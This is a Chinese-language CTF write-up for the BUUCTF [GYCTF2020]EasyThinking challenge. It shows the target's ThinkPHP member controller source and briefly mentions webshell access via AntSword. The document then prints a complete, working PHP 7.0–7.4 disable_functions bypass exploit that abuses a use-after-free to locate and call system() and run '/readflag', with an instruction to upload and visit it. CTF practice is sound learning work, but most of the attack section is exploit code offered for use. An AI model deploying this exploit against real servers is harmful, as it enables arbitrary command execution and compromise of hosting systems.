143，【3】 buuctf web [GYCTF2020]EasyThinking

进入靶场

一开始那个题目名字就想到了框架

扫描目录

访问后自动下载了

找源码

<?php
namespace app\home\controller;
 
use think\exception\ValidateException;
use think\facade\Db;
use think\facade\View;
use app\common\model\User;
use think\facade\Request;
use app\common\controller\Auth;
 
class Member extends Base
{
 
    public function index()
    {
        if (session("?UID"))
        {
            $data = ["uid" => session("UID")];
            $record = session("Record");
            $recordArr = explode(",", $record);
            $username = Db::name("user")->where($data)->value("username");
            return View::fetch('member/index',["username" => $username,"record_list" => $recordArr]);
        }
        return view('member/index',["username" => "Are you Login?","record_list" => ""]);
    }
 
    public function login()
    {
        if (Request::isPost()){
            $username = input("username");
            $password = md5(input("password"));
            $data["username"] = $username;
            $data["password"] = $password;
            $userId = Db::name("user")->where($data)->value("uid");
            $userStatus = Db::name("user")->where($data)->value("status");
            if ($userStatus == 1){
                return "<script>alert(\"该用户已被禁用，无法登陆\");history.go(-1)</script>";
            }
            if ($userId){
                session("UID",$userId);
                return redirect("/home/member/index");
            }
            return "<script>alert(\"用户名或密码错误\");history.go(-1)</script>";
 
        }else{
            return view('login');
        }
    }
 
    public function register()
    {
        if (Request::isPost()){
            $data = input("post.");
            if (!(new Auth)->validRegister($data)){
                return "<script>alert(\"当前用户名已注册\");history.go(-1)</script>";
            }
            $data["password"] = md5($data["password"]);
            $data["status"] = 0;
            $res = User::create($data);
            if ($res){
                return redirect('/home/member/login');
            }
            return "<script>alert(\"注册失败\");history.go(-1)</script>";
        }else{
            return View("register");
        }
    }
 
    public function logout()
    {
        session("UID",NULL);
 
        return "<script>location.href='/home/member/login'</script>";
    }
 
    public function updateUser()
    {
        $data = input("post.");
        $update = Db::name("user")->where("uid",session("UID"))->update($data);
        if($update){
            return json(["code" => 1, "msg" => "修改成功"]);
        }
        return json(["code" => 0, "msg" => "修改失败"]);
    }
 
    public function rePassword()
    {
        $oldPassword = input("oldPassword");
        $password = input("password");
        $where["uid"] = session("UID");
        $where["password"] = md5($oldPassword);
        $res = Db::name("user")->where($where)->find();
        if ($res){
            $rePassword = User::update(["password" => md5($password)],["uid"=> session("UID")]);
            if ($rePassword){
                return json(["code" => 1, "msg" => "修改成功"]);
            }
            return json(["code" => 0, "msg" => "修改失败"]);
        }
        return json(["code" => 0, "msg" => "原密码错误"]);
    }
 
    public function search()
    {
        if (Request::isPost()){
            if (!session('?UID'))
            {
                return redirect('/home/member/login');            
            }
            $data = input("post.");
            $record = session("Record");
            if (!session("Record"))
            {
                session("Record",$data["key"]);
            }
            else
            {
                $recordArr = explode(",",$record);
                $recordLen = sizeof($recordArr);
                if ($recordLen >= 3){
                    array_shift($recordArr);
                    session("Record",implode(",",$recordArr) . "," . $data["key"]);
                    return View::fetch("result",["res" => "There's nothing here"]);
                }
 
            }
            session("Record",$record . "," . $data["key"]);
            return View::fetch("result",["res" => "There's nothing here"]);
        }else{
            return View("search");
        }
    }
}

这道一点都不会做，一头雾水，看wp

[GYCTF2020]EasyThinking Thinkphp6.0任意文件操作漏洞绕过disable_function_thinkphp v6.0.7漏洞-CSDN博客

先注册再登陆

注册后登陆时抓包

访问

用蚁剑连接就行

<?php

# PHP 7.0-7.4 disable_functions bypass PoC (*nix only)

pwn("/readflag");

function pwn($cmd) {
    global $abc, $helper, $backtrace;

    class Vuln {
        public $a;
        public function __destruct() { 
            global $backtrace; 
            unset($this->a);
            $backtrace = (new Exception)->getTrace(); # ;)
            if(!isset($backtrace[1]['args'])) { # PHP >= 7.4
                $backtrace = debug_backtrace();
            }
        }
    }

    class Helper {
        public $a, $b, $c, $d;
    }

    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= chr($ptr & 0xff);
            $ptr >>= 8;
        }
        return $out;
    }

    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = chr($v & 0xff);
            $v >>= 8;
        }
    }

    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }

    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);

        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);

            if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
                # handle pie
                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
                $text_size = $p_memsz;
            }
        }

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }

    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'constant' constant check
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;

            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'bin2hex' constant check
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }

    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) { # ELF header
                return $addr;
            }
        }
    }

    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);

            if($f_name == 0x6d6574737973) { # system
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }

    function trigger_uaf($arg) {
        # str_shuffle prevents opcache string interning
        $arg = str_shuffle(str_repeat('A', 79));
        $vuln = new Vuln();
        $vuln->a = $arg;
    }

    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }

    $n_alloc = 10; # increase this value if UAF fails
    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_shuffle(str_repeat('A', 79));

    trigger_uaf('x');
    $abc = $backtrace[1]['args'][0];

    $helper = new Helper;
    $helper->b = function ($x) { };

    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }

    # leaks
    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;

    # fake value
    write($abc, 0x60, 2);
    write($abc, 0x70, 6);

    # fake reference
    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);

    $closure_obj = str2ptr($abc, 0x20);

    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }

    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }

    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }

    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }

    # fake closure object
    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }

    # pwn
    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); # internal func type
    write($abc, 0xd0 + 0x68, $zif_system); # internal func handler

    ($helper->b)($cmd);
    exit();
}
?>

上传这个脚本，再访问这个文件就能得到flag